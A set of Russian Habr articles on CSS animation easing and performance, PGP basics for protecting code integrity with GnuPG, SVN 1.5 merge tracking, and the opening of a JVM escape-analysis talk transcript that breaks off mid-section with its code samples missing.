Ключевое слово `linear` позволяет использовать линейную анимацию. Фактически, эта анимация описывается линейной функцией, при применении которой объект анимируется с постоянной скоростью, без ускорений и замедлений.
Вот как выглядит график линейного CSS-перехода.
*Анимация linear*
Видно, что с течением времени значение равномерно возрастает. Линейные перемещения, однако, воспринимаются как неестественные. В целом, надо отметить, что подобных анимаций стоит избегать.
Вот как выглядит описание такой анимации:
```
transition: transform 500ms linear;
```
### ▍Анимация ease-out
Как уже было сказано, применение функции `ease-out` приводит к высокой скорости анимации в начале процесса (её скорость — выше, чем при применении линейной функции), которая замедляется в конце анимации. Вот как выглядит графическое представление такой анимации.
*Анимация ease-out*
В целом, подобная анимация лучше подходит для пользовательского интерфейса, так как её быстрое начало даёт ощущение отзывчивости элемента, в то время как замедление в конце анимации также делает её естественнее благодаря наличию неравномерности движения.
Существует множество способов достичь подобного эффекта, но самый простой — воспользоваться ключевым словом `ease-out` в CSS:
```
transition: transform 500ms ease-out;
```
### ▍Анимация ease-in
Эта анимация противоположна той, которую мы только что рассмотрели. Для неё характерна низкая скорость в начале и увеличение скорости в конце. Вот её графическое представление.
*Анимация ease-in*
В сравнении с анимацией `ease-out`, анимация `ease-in` выглядит необычно, так как она даёт ощущение низкого уровня отзывчивости элемента из-за медленного начала. Ускорение в конце так же создаёт странные ощущения, так как скорость анимации с течением времени растёт, в то время как объекты в реальном мире, перед остановкой, обычно снижают скорость.
Для того чтобы воспользоваться этой анимацией, аналогично предыдущим, можно использовать ключевое слово `ease-in`:
```
transition: transform 500ms ease-in;
```
### ▍Анимация ease-in-out
Эта анимация является комбинацией анимаций `ease-in` и `ease-out`. Вот как выглядит её график.
*Анимация ease-in-out*
Тут стоит отметить, что не рекомендуется использовать анимации, длительность которых слишком велика, так как они создают у пользователя ощущение того, что интерфейс перестал реагировать на его воздействия.
Воспользоваться этой анимацией можно с помощью ключевого слова `ease-in-out`:
```
transition: transform 500ms ease-in-out;
```
### ▍Создание собственных функций плавности
Разработчик может определять собственные функции плавности, которые дают гораздо лучший контроль над тем, какие ощущения у пользователя создают используемые в проекте анимации.
На самом деле, за ключевыми словами, о которых мы говорили выше (`ease-in`, `ease-out`, `linear`), стоят [кривые Безье](https://en.wikipedia.org/wiki/B%C3%A9zier_curve), подробности о применении которых для управления анимацией можно почитать [здесь](http://www.w3.org/TR/css3-transitions/) и [здесь](https://w3c.github.io/web-animations/#scaling-using-a-cubic-bezier-curve). Уделим им некоторое время, так как именно на них основано создание собственных функций плавности.
### ▍Кривые Безье
Для построения кривой Безье нужно четыре значения, или, говоря точнее — две пары чисел. Каждая пара описывает координаты X и Y опорной точки кубической кривой Безье. Сама кривая начинается в координате (0, 0), а заканчивается — в координате (1, 1). Настраивать можно свойства опорных точек. Значения X координат опорных точек должны находиться в диапазоне [0 ,1], значения Y также должны попадать в диапазон [0, 1], хотя надо отметить то, что спецификации не вполне проясняют этот момент.
Даже небольшое изменение значений X и Y координат опорных точек приводит к значительному изменению кривой. Взглянем на пару графиков кривых Безье, опорные точки которых имеют очень близкие, но различающиеся координаты.
*Первая кривая Безье*
*Вторая кривая Безье*
Как видите, два этих графика очень сильно отличатся друг от друга. Вот как выглядит описание второй кривой в CSS:
```
transition: transform 500ms cubic-bezier(0.465, 0.183, 0.153, 0.946);
```
Первые два числа — это координаты X и Y первой опорной точки, вторая пара — координаты второй.
Оптимизация производительности анимаций
---------------------------------------
Анимируя интерфейсы, надо следить за тем, чтобы частота кадров не падала ниже 60 FPS, в противном случае это плохо повлияет на то, как пользователи воспринимают анимированные страницы.
Как и за всё остальное в этом мире, за анимацию надо платить. При этом анимирование некоторых свойств обходится «дешевле», чем анимирование других. Например, анимирование свойств `width` и `height` элемента приводит к изменению его геометрии и может привести к тому, что другие элементы на странице переместятся или изменят размер. Этот процесс называется формированием макета страницы. Об этом мы [говорили](https://habrahabr.ru/company/ruvds/blog/351802/) в одном из предыдущих материалов.
В целом, следует избегать анимации свойств элементов, которые вызывают изменение макета страницы или её перерисовку. Для большинства современных браузеров это означает ограничение анимациями `opacity` и `transform`.
### ▍CSS-свойство will-change
CSS-свойство [will-change](https://dev.w3.org/csswg/css-will-change/) можно использовать для того, чтобы сообщать браузеру о том, что мы намереваемся изменить свойство элемента. Это позволяет браузеру заранее, до выполнения анимации, применить подходящие оптимизации. Однако не стоит злоупотреблять свойством `will-change`, так как это приведёт к нерациональной трате ресурсов браузера, что, в свою очередь, приведёт к проблемам с производительностью.
Вот, например, как добавить это свойство для анимаций `transform` и `opacity`:
```
.box {
will-change: transform, opacity;
}
```
Данное свойство понимают пока не все браузеры, но, в браузерах Chrome, Firefox и Opera его поддержка имеется.
*Поддержка CSS-свойства will-change*
### ▍JavaScript или CSS?
Что выбрать для анимации — API веб-анимации, вызываемое из JS, или CSS? Вероятно, вы помните, что выше мы говорили, что на подобный вопрос нельзя дать однозначного ответа. Однако, для того, чтобы всё-таки определиться с технологией, учтите следующие соображения:
* CSS-анимации и веб-анимации, при наличии их нативной поддержки, обычно обрабатываются потоком композиции (compositor thread). Он отличается от главного потока браузера (main thread), где выполняются задачи по стилизации элементов, по формированию макета, по выводу данных на экран и по выполнению JS-кода. Это означает, что если браузер выполняет какие-то сложные задачи в главном потоке, анимации будут выполняться нормально, без перерывов.
* Анимации `transforms` и `opacity` могут быть, во многих случаях, обработаны потоком композиции.
* Если какая-то анимация вызывает перерисовку страницы или изменение макета, поработать придётся главному потоку. Это справедливо и для CSS-анимаций, и для JS-анимаций. Дополнительная нагрузка на систему, вызванная изменением макета или перерисовкой страницы, вероятно, замедлит выполнение задач, решаемых средствами CSS или JavaScript, ставя систему в непростое положение.
### ▍Выбор объектов для анимации
Продуманная анимация делает проект интереснее и привлекательнее для пользователей. Им приятно работать с ним. Анимировать можно практически всё, что угодно: ширину и высоту элементов, их позицию на экране, цвета и фоны. Однако, планируя анимировать что-либо, стоит задуматься о производительности. Неудачно выбранная анимация может плохо повлиять на то, как пользователи воспримут проект, поэтому анимации должны быть и быстрыми, и уместными. На самом деле, стоит стремиться к тому, чтобы придать интерфейсу естественности и привлекательности, ограничившись минимумом анимации.
### ▍Использование анимаций для поддержки взаимодействия с пользователем
Не стоит анимировать что-либо только из-за того, что у вас есть техническая возможность это сделать. Вместо этого используйте тщательно подобранные анимации для того, чтобы улучшить взаимодействие элементов страниц с пользователем. Избегайте анимаций, которые прерывают деятельность пользователя или мешают ему.
### ▍Анимации, вызывающие большую нагрузку на систему
Хуже чем неуместная анимация может быть только анимация, которая «подвешивает» страницу. Пользователям любого веб-проекта такое точно не понравится.
Итоги
-----
В этом материале мы рассказали об анимации элементов веб-страниц средствами CSS и JavaScript. Анимация — мощный инструмент, поэтому обращаться с ней стоит аккуратно. При правильном подходе анимация способна значительно улучшить впечатления пользователей от работы с веб-ресурсом.
Предыдущие части цикла статей:
Часть 1: [Как работает JS: обзор движка, механизмов времени выполнения, стека вызовов](https://habrahabr.ru/company/ruvds/blog/337042/)
Часть 2: [Как работает JS: о внутреннем устройстве V8 и оптимизации кода](https://habrahabr.ru/company/ruvds/blog/337460/)
Часть 3: [Как работает JS: управление памятью, четыре вида утечек памяти и борьба с ними](https://habrahabr.ru/company/ruvds/blog/338150/)
Часть 4: [Как работает JS: цикл событий, асинхронность и пять способов улучшения кода с помощью async / await](https://habrahabr.ru/company/ruvds/blog/340508/)
Часть 5: [Как работает JS: WebSocket и HTTP/2+SSE. Что выбрать?](https://habrahabr.ru/company/ruvds/blog/342346/)
Часть 6: [Как работает JS: особенности и сфера применения WebAssembly](https://habrahabr.ru/company/ruvds/blog/343568/)
Часть 7: [Как работает JS: веб-воркеры и пять сценариев их использования](https://habrahabr.ru/company/ruvds/blog/348424/)
Часть 8: [Как работает JS: сервис-воркеры](https://habrahabr.ru/company/ruvds/blog/349858/)
Часть 9: [Как работает JS: веб push-уведомления](https://habrahabr.ru/company/ruvds/blog/350486/)
Часть 10: [Как работает JS: отслеживание изменений в DOM с помощью MutationObserver](https://habrahabr.ru/company/ruvds/blog/351256/)
Часть 11: [Как работает JS: движки рендеринга веб-страниц и советы по оптимизации их производительности](https://habrahabr.ru/company/ruvds/blog/351802/)
Часть 12: [Как работает JS: сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
**Уважаемые читатели!** Сталкивались ли вы когда-нибудь со случаями, когда анимация по-настоящему мешает работать с каким-нибудь веб-ресурсом?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/354438/ | null | ru | null |
# Защита целостности кода с помощью PGP. Часть 1. Базовые концепции и инструменты
Если вы пишете код, который попадает в общедоступные репозитории, вам может пригодиться PGP. В этой серии статей, перевод первой из которых мы публикуем сегодня, будут рассмотрены вопросы использования PGP для обеспечения целостности кода программного обеспечения. Эти материалы, в основном, нацелены на разработчиков свободного ПО, хотя изложенные здесь принципы применимы в любых ситуациях, когда разработка ведётся силами распределённых команд программистов.
[](https://habrahabr.ru/company/ruvds/blog/349618/)
Здесь будут раскрыты следующие темы:
* Основы PGP и рекомендации по работе с соответствующим ПО.
* Использование PGP с Git.
* Защита учётной записи разработчика.
О структуре материалов
----------------------
Каждый раздел этой серии материалов разбит на две части:
1. Контрольный список, который может быть адаптирован под нужды конкретного проекта.
2. Пояснения, раскрывающие суть элементов контрольного списка, а также инструкции по работе с программами.
Особенности контрольного списка
-------------------------------
Элементы в каждом из контрольных списков включают в себя сведения об уровне приоритетности того или иного пункта. Надеемся, это поможет вам в ходе принятия решений по использованию предлагаемых рекомендаций.
* Элементам, которым назначен приоритет «важно», следует уделить особое внимание. Если рекомендации из «важных» пунктов не будут реализованы, это будет означать высокий риск возникновения проблем с кодом, включаемым в проект.
* Элементы с приоритетом «рекомендовано» содержат рекомендации, которые полезно реализовать для улучшения общего уровня безопасности. Их внедрение может подействовать на взаимодействие программиста с его рабочим окружением, это, возможно, потребует приобретения новых привычек или отказа от старых.
Помните о том, что все приведённые здесь списки — это лишь рекомендации. Если вы чувствуете, что приведённые уровни приоритетности не отражают особенностей вашего проекта в плане безопасности, вам следует адаптировать их под свои нужды.
Базовые концепции и инструменты PGP
-----------------------------------
### ▍Контрольный список
Вот темы, в которых нужно ориентироваться после успешного освоения материала этого раздела:
1. Роль PGP в разработке свободного ПО (Важно).
2. Основы криптографии с открытым ключом (Важно).
3. Различия между шифрованием и подписыванием материалов (Важно).
4. Идентификационные данные ключей PGP (Важно).
5. Достоверность ключей PGP (Важно).
6. Установка утилит GnuPG (версии 2.x) (Важно).
### ▍Пояснения
Сообщество открытого ПО уже давно полагается на PGP для обеспечения аутентичности и целостности разрабатываемых программных продуктов. Вы можете об этом не знать, но работаете ли вы в среде Linux, Mac или Windows, вы уже пользовались PGP для того, чтобы обеспечить целостность вашего вычислительного окружения.
* Дистрибутивы Linux используют PGP для обеспечения неизменности бинарных пакетов или пакетов с исходным кодом с момента их создания до момента их установки конечным пользователем.
* Проекты свободного ПО обычно предлагают отдельные подписи PGP для выпущенных программных архивов, таким образом, проекты, полагающиеся на них, могут проверить целостность загруженных релизов перед интеграцией их в собственные дистрибутивы.
* Проекты свободного ПО обычно полагаются на подписи PGP в самом коде для того, чтобы отслеживать происхождение и обеспечивать целостность кода, вносимого в проект его разработчиками.
Это очень похоже на механизмы сертификатов разработчиков и подписывания кода, используемые программистами, работающими на платформах с закрытым кодом. На самом деле, базовые концепции, лежащие в основе этих двух технологий во многом совпадают. Они различаются, в основном, техническими деталями реализации, и тем, как они делегируют доверие. PGP не полагается на централизованную службу сертификации, вместо этого данная система позволяет пользователям самостоятельно назначать уровень доверия каждому сертификату.
Наша цель заключается в том, чтобы помочь вам контролировать происхождение кода, попадающего в ваш проект, и отслеживать его целостность с помощью PGP. Сделать это можно, следуя рекомендациям по работе с PGP и усвоив основные правила безопасности.
### ▍Обзор работы PGP
Вам не нужно знать все подробности о том, как работает PGP. Для успешного использования этой технологии достаточно понимания её базовых концепций. В PGP используются криптография с открытым ключом. С помощью криптографических методов, например, обычный текст может быть преобразован в текст зашифрованный. Этот процесс требует наличия двух разных ключей:
* Открытого ключа, который известен всем.
* Закрытого ключа, который известен только владельцу.
### ▍Шифрование
Для шифрования PGP использует открытый ключ того, для кого предназначен зашифрованный материал. В ходе шифрования создаётся сообщение, которое можно расшифровать только используя соответствующий закрытый ключ, принадлежащий получателю сообщения.
Процесс шифрования выглядит так:
1. Отправитель создаёт случайный ключ шифрования (сеансовый ключ).
2. Отправитель шифрует содержимое сообщения, применяя этот сеансовый ключ (с использованием симметричного шифра).
3. Отправитель шифрует сеансовый ключ, используя открытый ключ PGP получателя.
4. Отправитель отправляет зашифрованные данные и зашифрованный сеансовый ключ получателю.
Для расшифровки зашифрованного сообщения выполняются следующие действия:
1. Получатель расшифровывает сеансовый ключ, используя свой закрытый ключ PGP.
2. Получатель использует сеансовый ключ для расшифровки содержимого сообщения.
### ▍Подписывание
Для подписывания данных открытые и закрытые ключи PGP используются обратным способом:
1. Подписывающий генерирует хэш контрольной суммы неких данных.
2. Подписывающий использует собственный закрытый ключ для шифрования этой контрольной суммы.
3. Подписывающий предоставляет зашифрованную контрольную сумму вместе с данными.
Для проверки подписи выполняют следующие действия:
1. Проверяющий генерирует собственную контрольную сумму данных.
2. Проверяющий использует открытый ключ подписывающего для расшифровывания предоставленной контрольной суммы.
3. Если контрольные суммы совпадают, значит целостность содержимого подтверждена.
### ▍Совместное использование шифрования и подписывания
Часто зашифрованные сообщения ещё и подписывают с использованием собственного PGP-ключа отправителя данных. Подобный подход следует использовать всегда, когда осуществляется обмен зашифрованными сообщениями, так как шифрование без аутентификации не имеет особого смысла (пожалуй, анонимность в подобных вещах нужна лишь секретным агентам и тем, кто делает общественным достоянием некую закрытую информацию).
### ▍Идентификационные данные ключа
С каждым PGP-ключом должны быть ассоциированы идентификационные данные владельца ключа. Обычно это — полное имя человека и адрес электронной почты в следующем формате:
```
Alice Engineer
```
Иногда идентификационные данные так же содержат комментарии, приводимые в скобках и предназначенные для того, чтобы сообщить конечному пользователю подробности о конкретном ключе:
```
Bob Designer (obsolete 1024-bit key)
```
Так как люди, владельцы ключей, могут играть множество профессиональных и персональных ролей, в одном и том же ключе могут присутствовать несколько наборов идентификационных данных:
```
Alice Engineer
Alice Engineer
Alice Engineer
```
Когда используются множество наборов идентификационных данных, один из них помечается как основной, для упрощения поиска ключа.
### ▍Достоверность ключа
Для того чтобы иметь возможность использовать чей-нибудь открытый ключ для шифрования или верификации, вам нужно убедиться в том, что он действительно принадлежит этому человеку (Alice в данном случае), а не мошеннику (пусть мошенника зовут Eve). В PGP это называется достоверностью ключа:
* Полная достоверность ключа означает, что имеется очень высокий уровень уверенности в том, что данный ключ принадлежит Alice.
* Граничная достоверность ключа означает, что мы до некоторой степени уверены в том, что ключ принадлежит Alice.
* Неизвестная достоверность ключа означает, что у нас абсолютно нет уверенности в том, что этот ключ принадлежит Alice.
### ▍Сеть доверия и механизм «доверие при первом использовании»
PGP включает в себя механизм делегирования доверия, известный как сеть доверия (Web of Trust, WOT). В своей основе — это попытка заменить необходимость в централизованных службах сертификации вроде тех, что используются в HTTPS/TLS. При таком подходе пользователь самостоятельно принимает решения о том, кому можно доверять.
К сожалению, очень немногие понимают, как работает сеть доверия, и ещё меньше людей заботится об этой технологии. И хотя сети доверия остаются важным аспектом спецификации OpenPGP, существующие версии GnuPG (2.2 и выше) реализовали альтернативный подход, представленный механизмом «доверие при первом использовании» (Trust on First Use, TOFU).
TOFU можно сравнить с SSH. Когда вы, используя SSH, в первый раз подключаетесь к удалённой системе, ваша система запоминает отпечаток её ключа. Если ключ изменится, SSH-клиент сообщит вам об этом и отклонит соединение, предлагая вам принять решение о том, доверяете ли вы изменившемуся ключу или нет.
Похожим образом работает и механизм TOFU. Когда вы впервые импортируете чей-то PGP-ключ, он считается достойным доверия. Если после этого GnuPG столкнётся с новым ключом с теми же самыми идентификационными данными, тогда оба ключа будут помечены как недействительные и вам нужно будет самостоятельно принять решение о том, какой из них следует сохранить.
В этом руководстве мы будем использовать модель доверия TOFU.
### ▍О терминологии
Тут нам хотелось бы отметить важность понимания различий между такими терминами, как PGP, OpenPGP, GnuPG и gpg:
* PGP (Pretty Good Privacy) — это название коммерческой программы, вышедшей в 1991-м году.
* OpenPGP — это стандарт IETF, совместимый с PGP.
* GnuPG (Gnu Privacy Guard) — это бесплатное ПО, которое реализует стандарт OpenPGP.
* Инструмент командной строки для GnuPG называется gpg.
Сегодня термин PGP почти универсально используется в смысле «стандарт OpenPGP», а не как название программы, и таким образом, PGP и OpenPGP взаимозаменяемы. Термины GnuPG и gpg следует использовать только когда имеются в виду конкретные инструменты, а не стандарты и прочие понятия, которыми мы оперируем. Например:
* Ключ PGP (не GnuPG или GPG)
* Подпись PGP (не GnuPG или GPG)
* Сервер ключей PGP (не GnuPG или GPG)
Понимание этих различий должно помочь вам в общении с другими пользователями PGP.
### ▍Установка GnuPG
Если вы используете Linux, это значит, что в вашей системе уже установлено ПО GnuPG. На Mac вам надо установить [GPG-Suite](https://gpgtools.org/), или воспользоваться командой `brew install gnupg2`. Если вы пользователь Windows, то вам подойдёт [GPG4Win](https://www.gpg4win.org/), и вам, вероятно, потребуется изменить некоторые команды из этого руководства. Если же вы пользуетесь в Windows Unix-подобным окружением, то команды менять не придётся. Если вы пользуетесь какими-то другими платформами, то вам понадобится самостоятельно подобрать подходящую реализацию GnuPG.
### ▍GnuPG версий 1 и 2
И GnuPG v.1, и GnuPG v.2 реализуют один и тот же стандарт, но они предоставляют несовместимые библиотеки и инструменты командной строки, в результате многие дистрибутивы поставляются и с устаревшей версией 1, и с более новой версией 2. Вам нужно удостовериться в том, что вы всегда пользуетесь GnuPG v.2.
Для начала, для того, чтобы узнать, какая версия GnuPG скрывается в вашей системе под именем `gpg`, выполните следующую команду:
```
$ gpg --version | head -n1
```
Если вы видите нечто вроде `gpg (GnuPG) 1.4.x`, это значит, что по команде `gpg` вызывается GnuPG v.1. Попробуйте в таком случае команду `gpg2`:
```
$ gpg2 --version | head -n1
```
Если вы видите что-то вроде `gpg (GnuPG) 2.x.x`, значит, всё в порядке. Тут мы полагаем, что у вас есть версия GnuPG 2.2 или более поздняя. Если вы используете версию GnuPG 2.0, некоторые из команд, которые будут здесь приведены, работать не будут, поэтому вам стоит рассмотреть возможность установки самой свежей версии 2.2 GnuPG.
### ▍Псевдоним для GnuPG v.2
Если в вашей системе есть и команда `gpg`, и команда `gpg2`, хорошо бы настроить всё так, чтобы по команде `gpg` вызывалась GnuPG v.2, а не старая версия ПО. Сделать это можно, создав псевдоним:
```
$ alias gpg=gpg2
```
Эту команду можно поместить в `.bashrc` для того, чтобы на команду `gpg` откликалась программа GnuPG v.2.
Итоги
-----
Здесь мы поговорили об основах PGP, которыми необходимо владеть для успешного применения PGP в деле защиты кода. В следующий раз мы расскажем о создании и защите PGP-ключей.
**Уважаемые читатели!** Используете ли вы PGP для защиты кода ваших программных проектов?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/349618/ | null | ru | null |
# Работа с ветками в SVN. Изменения в версии 1.5.
Продолжение [этой статьи](http://habrahabr.ru/blogs/development_tools/45203/)
Долгое время в ветках SVN был один существенный недостаток. Система не помнила мержей, и программисту приходилось самостоятельно заботиться о том, что бы сохранить номер ревизии, когда происходило копирование изменений из транка. Проблема частично решалась добавлением комментариев в лог, но все таки это было чревато ошибками, и целиком ложилось на совесть программиста.
В версии 1.5, наконец-то, программисты Subversion выполнили свое давнее обещание, и добавили несколько полезных фич для работы с ветками.
Итак, в версии 1.5 команда merge обзавелась двумя новыми опциями: *--record-only* и *--reintegrate*.
Теперь ответственность за контроль копирования изменений ложится целиком на плечи SVN (merge tracking), а программист может легко, и без боязни выполнять merge так часто, словно это команда update.
Теперь совершенно не нужно заботится о сохранении номера ревизии последнего мержа. SVN поумнел настолько, что сам копирует только те изменения, которых у вас еще нет. Если раньше вам приходилось указывать диапазон ревизий с помощью ключа -r то теперь достаточно просто выполнить команду
`#svn merge svn://svnserver/var/bump/trunk`
И SVN сам все поймет:
`--- Merging r154 through r155 into '.':
U app/view/blogs/view.tpl.html`
Второе полезное изменение связано с копированием ваших изменений в транк. И снова SVN великодушно заботится о нас, и сам копирует только те изменения, которых нет в транке.
`svn merge --reintegrate svn://svnserver/var/bump/branches/my-branch`
Эта команда объединит вашу ветку с транком. Снова никаких лишних движений, все очень просто.
Опция **--record-only** используется для того что бы пометить диапазон ревизий, как слитые. То есть в следующий раз svn не будет пытаться скопировать изменения из этих ревизий в вашу ветку.
`#svn merge -r155:157 --record-only svn://svnserver/var/bump/trunk`
Теперь все изменения из диапазона ревизий 155:157 будут проигнорированы.
Появилась допонительная опция у комманд svn log и svn blame
`svn log --use-merge-history --limit 3
------------------------------------------------------------------------
r155 | rvk | 2008-11-24 15:22:04 +0300 (Пнд, 24 Ноя 2008) | 1 line
**Merged via: r156**
fixed small bug
------------------------------------------------------------------------
r154 | rvk | 2008-11-24 14:15:29 +0300 (Пнд, 24 Ноя 2008) | 1 line
new branch named new_design
------------------------------------------------------------------------`
И еще одна полезная опция svn mergeinfo, с помощью которой можно посмотреть какие ревизии уже смержены:
`#svn mergeinfo svn://svnserver/var/bump/trunk`
Или какие изменения еще могут быть скопированы из транка:
`#svn mergeinfo svn://svnserver/var/bump/trunk --show-revs eligible`
Как всегда, подробнее, можно прочесть в [svnbook](http://svnbook.red-bean.com/nightly/en/svn.branchmerge.basicmerging.html#svn.branchmerge.basicmerging.mergeinfo) | https://habr.com/ru/post/45222/ | null | ru | null |
# Escape analysis и скаляризация: Пусть GC отдохнет
В этот раз мы решили разнообразить поток технических интервью реальным хардором и подготовили материал на основе доклада Руслана [cheremin](https://habr.com/ru/users/cheremin/) Черемина (Deutsche Bank) про анализ работы пары Escape Analysis и Scalar Replacement, сделанный им на JPoint 2016 в апреле минувшего года.
Видеозапись доклада перед вами:
А под катом мы выложили полную текстовую расшифровку с отдельными слайдами.
Начнем с небольшого лирического отступления, касающегося терминологии.
Escape-анализ и его место в оптимизации
---------------------------------------
Escape-анализ — это техника анализа кода, которая позволяет статически (во время компиляции) определить область достижимости для ссылки какого-то объекта. Грубо говоря, есть инструкция, которая аллоцирует объект, и в ходе анализа мы пытаемся понять, может ли иная инструкция каким-то образом получить ссылку на созданный объект.
Escape-анализ — это не оптимизация сама по себе, это просто анализ, но его результаты могут использоваться для последующих оптимизаций. Обычно, конечно, нас интересует достижимость не с точностью до инструкции, а что-то вроде «достижим ли объект, созданный в некотором методе — вне этого метода». И в рамках задачи оптимизации нас больше всего интересуют ситуации, где ответ будет «нет, вне метода объект не достижим».
Скаляризация (Scalar Replacement). Скаляризация — это замена объекта, который существует только внутри метода, локальными переменными. Мы берем объект (по факту его еще нет — он будет создан при выполнении программы) и говорим, что нам его создавать не нужно: мы можем все его поля положить в локальные переменные, трансформировать код так, чтобы он обращался к этим полям, а аллокацию из кода стереть.
Мне нравится метафора, что EA/SR это такой *статический* garbage collector. Обычный (динамический) GC выполняется в рантайме, сканирует граф объектов и выполняет reachability analysis — находит уже не достижимые объекты и освобождает занятую ими память. Пара «escape-анализ — скаляризация» делает то же самое во время JIT-компиляции. Escape-анализ также смотрит на код и говорит: «Созданный здесь объект после этой инструкции уже ниоткуда не достижим, соответственно при определенных условиях мы можем его вообще не создавать».
Пара Escape Analysis и Scalar Replacement появилась в Java уже довольно давно, в 2009-м, сначала как экспериментальная опция, а с 2010 была включена по умолчанию.
Есть ли результаты? В узких кругах в Deutsche Bank ходит реальный фрагмент графика загрузки garbage collector-а, сделанный в 2010 году. Картинка иллюстрирует, что иногда для оптимизации можно вообще ничего не делать, а просто дождаться очередного апдейта Java.
*Источник: [dolzhenko.blogspot.ru](http://dolzhenko.blogspot.ru/2011/01/lock-coarsening-biased-locking-escape.html)*
Конечно, так бывает очень редко, это исключительный случай. В более реалистичных примерах по разным данным в среднестатистическом приложении escape-анализ способен устранить порядка 15% аллокаций, ну, а если сильно повезет — то до 70%.
Когда этот инструмент вышел в 2010 году, я был, честно говоря, очень им вдохновлен. Я тогда как раз только закончил проект, где было много околонаучных вычислений, в частности, мы активно жонглировали всякими векторами. И у нас было очень много объектов, которые живут от предыдущей инструкции до следующей. Когда я на это смотрел, у меня в голове возникала крамольная мысль, что на С здесь было бы лучше. И прочитав про эту оптимизацию, я понял, что она могла бы решить подобные проблемы. Однако у Sun в релизе был очень скромный пример ее работы, поэтому я ждал какого-то более обширного описания (в каких ситуациях она работает, в каких — нет; что нужно, чтобы это работало). И ждал я довольно долго.
К сожалению, за 7 лет я нашел упоминания лишь о трех случаях применения, один из которых был примером самого Sun. Проблемой всех примеров было то, что в статьях приводился кусок кода с комментарием: «вот так оно работает». А если я переставлю инструкции — не сломается ли скаляризация от этого? А если вместо ArrayList я возьму LinkedList, будет ли это работать? Мне это было непонятно. В итоге я решил, что я так и не дождусь чужих исследований, т.е. эту работу придется сделать самому.
Путь экспериментов
------------------
Что я хотел получить? В первую очередь, я хотел какое-то интуитивное понимание. Понятно, JIT-компиляция вообще — это очень сложная штука, и она зависит от многих вещей. Чтобы понимать ее в деталях, надо работать в Oracle. Такой задачи у меня не было. Мне необходимо какое-то интуитивное понимание, чтобы я смотрел на код и мог оценить, что вот здесь — почти наверняка да, а тут — почти наверняка нет, а вот тут — возможно (надо исследовать, может удастся добиться, чтобы эта конкретная аллокация скаляризовалась). А для этого нужен какой-то набор примеров, на которых можно посмотреть, когда работает, когда не работает. И фреймворк, чтобы было легко писать эти примеры.
> Моя задача была экспериментальной: допустим, у меня есть JDK на компьютере — какую информацию о принципах работы escape-анализа я могу вытащить, не обращаясь с вопросами к авторитетам? То есть это такой естественнонаучный подход: у нас есть почти черный ящик, в который мы «тыкаем» и смотрим, как он будет работать.
Прежде чем мы перейдем к самим экспериментам — еще небольшое теоретическое отступление. Важно понимать, что escape-анализ и скаляризация — это лишь часть большого набора оптимизаций, который есть в серверном компиляторе. В очень общих чертах процесс оптимизации C2 представлен на рисунке.
Важно здесь то, что еще до escape-анализа за дело берутся другие инструменты оптимизации. Например — инлайнинг, девиртуализация, сворачивание констант и выделение частых или не частых маршрутов (на самом деле их гораздо больше, но здесь я указал те, которые чаще всего влияют на escape-анализ). И чтобы, по результатам escape-анализа, какие-то объекты скаляризовались, необходимо, чтобы хорошо отработали все предыдущие звенья цепи, предыдущие оптимизации, до escape-анализа и скаляризации. И что-то сломаться, не получиться может на любом этапе, но, как мы увидим, чаще всего что-то ломается как раз-таки еще *до* escape-анализа. И лишь в некоторых случаях именно сам escape-анализ не справляется с задачей.
#### Инструментарий
Несколько лет назад, пытаясь экспериментировать со скаляризацией, я в основном опирался на `GarbageCollectorMXBean.getCollectionCount()`. Это довольно грубая метрика. Но теперь у нас есть более ясная мерика — `ThreadMBean.getThreadAllocatedBytes(threadId)`, который прямо по ID потока говорит, сколько байт было аллоцировано этим конкретным потоком. Для экспериментирования больше ничего и не надо, однако первую, старую, метрику я использовал поначалу, чтобы сверять результаты. Еще один способ контроля — отключить скаляризацию соответствующим ключом (`-XX:-EliminateAllocations`) и посмотреть, действительно ли наблюдаемый эффект определяется escape-анализом.
Если результат теста нас удивляет, есть ключики PrintCompilation и PrintInlining, позволяющие получить больше информации. Есть еще третий ключик, LogCompilation, который выдает все то же самое, только гораздо больше, и в xml формате — его выдачу можно скормить утилитке JITWatch, которая вам все представит в красивом UI.
Логичен вопрос: почему бы не использовать JMH? JMH действительно может это делать. У него есть профайлер, `-prof gc`, который выводит те же аллокации, и даже нормированные на одну итерацию.
И поначалу и я пытался зайти с этой стороны. Но дело в том, что JMH в первую очередь заточен на перформанс, который меня не очень интересует. Меня не интересует, сколько времени у меня ушло на итерацию; меня интересует, сработала ли там конкретная оптимизация, иными словами, мне нужен триггерный ответ. А здесь очень много информации, которую я сходу не нашел, как убрать. И в итоге для себя решил, что если я хочу сегодня в течение получаса получить результат, то проще написать самому. Поэтому у меня есть свой «велосипед». Но если кто-то хочет продолжать эти эксперименты или делать какие-то свои, я очень рекомендую взять стандартный инструмент, поскольку стандартный обычно лучше.
Часть 1. Основы
---------------
#### Пример 1.1. Basic
Начнем с простого теста: похожего на пример в релизе Sun.
####
У нас есть простенький класс Vector2D. Мы создаем три случайных вектора с помощью рандома и выполняем с ними некую операцию (складываем и вычисляем скалярное произведение). Если мы запустим это в современной JVM, сколько объектов здесь будет создано?
В результате в начале что-то аллоцируется (пока еще не прошла компиляция), ну а дальше все очень чистенько — 0 байт на вызов.
Это канонический пример, так что ничего удивительного в том, что он работает.
Для контроля добавляем ключ, отключающий стирание аллокаций — и мы получаем 128 байт на вызов. Это как раз четыре объекта Vector2D: три явно создались, и еще один появился в ходе сложения.
#### Пример 1.2. Loop accumulate
Добавим цикл в предыдущий пример.
Мы заводим вектор-аккумулятор, к которому будем добавлять вектора внутри цикла.
В этом сценарии все тоже хорошо (для любого значения `SIZE`, который я исследовал).
#### Пример 1.3. Replace in loop
На этот раз сделаем умножение на константу — на double, а полученный результат запишем в ту же самую переменную. На самом деле это тот же аккумулятор, только здесь мы умножаем вектор на какое-то число.
Неожиданно, но здесь скаляризация не сработала (2080 байт = 32\* (SIZE + 1)).
Прежде чем выяснять почему, рассмотрим еще пару примеров.
#### Пример 1.4. Control flow
Более простой пример: у нас нет цикла, есть условный переход. Мы случайным образом выбираем координату и создаем Vector2D.
И здесь скаляризация не помогает: все время создается один вектор — те самые 32 байта.
#### Пример 1.5. Control flow
Попробуем немного изменить этот пример. Я просто внесу создание вектора внутрь обеих веток:
И здесь все отлично скаляризуется.
Начинает вырисовываться картина — что здесь происходит?
#### «Merge points»
